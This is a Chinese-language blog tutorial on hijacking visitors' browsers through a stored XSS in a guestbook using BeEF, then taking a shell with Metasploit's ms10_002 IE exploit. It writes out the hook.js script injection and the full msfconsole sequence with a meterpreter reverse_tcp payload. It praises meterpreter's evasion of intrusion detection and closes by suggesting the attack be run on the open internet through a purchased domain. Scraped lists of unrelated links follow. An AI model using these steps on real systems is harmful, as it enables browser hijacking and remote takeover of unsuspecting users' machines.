环境:

1.Kali(使用beef生成恶意代码,IP:192.168.114.140)

2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.114.204)

3. 客户端(用于访问web服务器,IP:192.168.114.130)

步骤:

1. Kali使用beef生成恶意代码

2. 将恶意代码写入192.168.114.204网站留言板

3. 只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持

目的:

控制目标主机的浏览器,通过目标主机浏览器获得该主机的详细信息,并进一步扫描内网,配合metasploit进行内网渗透

以下为具体操作:

一、搭建服务器

首先我在window server 2003上搭建IIS服务器,在站长之家找了一个存在XSS漏洞的留言板源码(我心依然留言板),发布到IIS服务器上。

用WVS扫了一下,确实存在XSS漏洞:

二、Kali中Beef的安装和使用:

启动成功后:

浏览器输入:http://127.0.0.1:3000/ui/panel,Usename与Password均为beef:

三、挂马

将如上图所示的Hook URL写入web服务器存在XSS漏洞的留言板中<scriptsrc="http://192.168.114.140:3000/hook.js"></script>

如果留言被管理员审核通过,你的留言能在留言板显示出来。当客户端访问服务器的留言板后,你可以在Beef控制端查看目标主机,如果出现下图所示内网,表示客户端浏览器已经被成功劫持

在Current Browser项选择Browser,点击Hooked Domain选择Redirect Browser,在右边的Redirect URL中输入网址,即可控制浏览器跳转到目标网址

 

Beef+msf拿客户端shell(XP+IE6)

 

一、运行metasploit

Kali收藏栏找到metasploit framework

也可以新建终端输入:msfconsole,启动成功后:

输入以下命令:

1.search ms10_002(寻找ms10_002漏洞)

2.useexploit/windows/browser/ms10_002_aurora(使用ms10_002极光漏洞)

3.set payloadwindows/meterpreter/reverse_tcp(设置TCP回连攻击载荷)

4.show options(查看漏洞利用工具选项)

5.set srvhost 192.168.114.140(配置客户端访问的目标地址,这里是Kali本机的IP地址)

6.set srvport 7777(访问的端口号)

7.set uripath /(网站根路径)

8.set lhost 192.168.114.140(设置本地接收地址)

9.set lport 4444(端口号)

10.show options (查看是否更改过来)

11.exploit(执行利用,出现如下所示表示执行成功)

利用Beef生成的恶意代码植入到存在XSS漏洞的web服务器(12.168.114.204),客户端(192.168.114.130)浏览植入恶意代码的网页,造成客户端浏览器被劫持。当前客户端使用的环境为windows
XP+IE6,我们使用metasploit
framework工具针对IE6的ms10_002极光漏洞进行利用,控制客户端被劫持的浏览器访问192.168.114.140:7777,触发该漏洞,通过漏洞拿到客户端的权限shell,回连192.168.114.140:4444,从而达到控制客户端系统的目的。

由于笔者的XP+IE6环境没有搭好,以下用的firefox浏览器演示命令执行,跳转之后的效果:

如何查看这个shell,我们在Kali中的metasploit终端按下回车。输入sessions –i(由于用的firefox浏览器,所以没有成功获取session)

我在网上找了张图,当成功利用,显示如下:

根据sessions的Id,输入sessions -i 1,得到meterpreter:

meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

输入shell就可以拿到目标主机的一个cmd

然后就可以做任何想做的事比如net user 创建用户等

二、漏洞发布网站:

想要使用metasploit,当然要配合漏洞进行利用,以下为漏洞发布网站,可以经常去看看:

https://www.exploit-db.com/

三、Beef如何在外网中应用思路

仅个人的一些想法,如果不对请指正:利用本机为Web服务器,购买域名,并将域名解析至本机IP地址,在本机的网站上写入恶意代码。当外网客户端通过域名访问我本机搭建的网站,导致浏览器被劫持。

使用Beef劫持客户端浏览器并进一步使用Beef+msf拿客户端shell的更多相关文章

  1. 利用Beef劫持客户端浏览器

    利用Beef劫持客户端浏览器   环境: 1.Kali(使用beef生成恶意代码,IP:192.168.114.140) 2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.11 ...

  2. asp.net获取客户端浏览器及主机信息

    在线预览效果:http://tool.hovertree.com/info/client/ 其中aspx页面的控件代码: <asp:ListBox runat="server" ...

  3. php获取客户端浏览器以及操作系统信息的方法

    发布:sunday01   来源:net   阅读: 2   [大 中 小] 在较为智能的程序中,php可以获取客户端浏览器及操作系统信息,然后根据浏览器及系统类型,加载不同的页面,以提供更加个性化的 ...

  4. 客户端浏览器判断(ios .android)

    在开发工程中,我们可能需要判断客户端浏览器的版本而作相应的处理:通常做法是通过浏览器的userAgent去判断浏览器版本,故在此总结下,方便以后使用. <script type="te ...

  5. WPF 客户端浏览器 添加Loading加载进度

    在windows开发界面时,使用浏览器来请求和显示网页内容,是比较常见的. 但是在请求网页内容时,因网速或者前端功能复杂加载较慢,亦或者加载时遇到各种问题,如空白/黑屏/加载不完整/证书问题等. 因此 ...

  6. 获取ip,获取客户端浏览器,获取客户端访问操作系统,获取客户端访问设备

    /** * 获取ip */ public static function getIp() { if (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CL ...

  7. html利用j获取局域网内的本机IP(根据客户端浏览器的ip获取)

    根据客户端浏览器的ip获取 <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type ...

  8. 利用form.submit提交表单导出文件到客户端浏览器, 提示下载!

    本来是想利用ajax提交json数据到服务端, 让服务端生成一个excel文件并提示客户端浏览器下载的. 但是搞了很久发现ajax方式是无法触发浏览器弹出文件下载的. 网上很多的方案都是说利用form ...

  9. ios客户端浏览器样式加载失效问题

    最近线上测试中出现一个奇怪的问题,ios客户端浏览器样式加载失效. 从表象来看,同样的css,安卓手机上可以正常展示,但是到ios手机上首次进入页面就不能正常显示 这时候,我们首先会考虑是不是ios设 ...

随机推荐

  1. es4x 引用外部jar 包以及集成typescrip

    以前写过一个通过修改jar 包处理自定义jar 的引入的,如下是一种使用官方推荐的方法package.json 添加依赖配置 同时为了方便使用添加typescript define 文件方便使用(只是 ...

  2. Cookie、token、session的区别是什么?

    背景: 最近在总结一些容易理解混淆的概念,之前面试的时候提到过,我觉得也说不清楚,这两天项目做接口测试发现用的cookie而不是之前的token,于是总结一下,便于以后用到的时候再阅读以及分享给需要的 ...

  3. java calendar获取系统当前小时数

      calendar获取系统当前小时数 24小时制 Calendar calendar = Calendar.getInstance(); int curHour24 = calendar.get(c ...

  4. Linux 内核启动信息的打印 --- dev_driver_string函数/dev_name函数

    内核启动时,常会打印出一些信息:开头是 "驱动模块的名字: + 具体的信息" 如:在运行的linux系统设备上,插入鼠标,就会打印出鼠标的相关信息; [ 402.134068] i ...

  5. 【IntelliJ IDEA学习之六】IntelliJ IDEA 调试

    版本:IntelliJIDEA2018.1.4 一.设置热部署1.自动编译 2.配置hotswap 3.开启compiler.automake.allow.when.app.running CTRL ...

  6. 关于深度学习框架 TensorFlow、Theano 和 Keras

    [TensorFlow] ——( https://morvanzhou.github.io/tutorials/machine-learning/tensorflow/) 1.TensorFlow是啥 ...

  7. odoo @api.constrains _sql_constrains

    实现机制: @api.constrains('fields') 服务器启动时将模型中的所有约束方法注册到对象池中: 在create.write时会根据创建或修改的fields检查是否有对应的约束方法, ...

  8. 030 ElasticSearch----全文检索技术05---基础知识详解03-聚合

    聚合可以让我们极其方便的实现对数据的统计.分析.例如: 什么品牌的手机最受欢迎? 这些手机的平均价格.最高价格.最低价格? 这些手机每月的销售情况如何? 实现这些统计功能的比数据库的sql要方便的多, ...

  9. SQL Server DBCC命令大全

    原文出处:https://www.cnblogs.com/lyhabc/archive/2013/01/19/2867174.html DBCC DROPCLEANBUFFERS:从缓冲池中删除所有缓 ...

  10. Java核心技术-读书笔记

    基本语法 Java中的所有函数都属于某个类的方法 Java没有任何无符号的int.long.short 或 byte 类型 浮点数值不适用于无法接受舍入误差的金融计算中,比如2.0-1.1不会输出想要 ...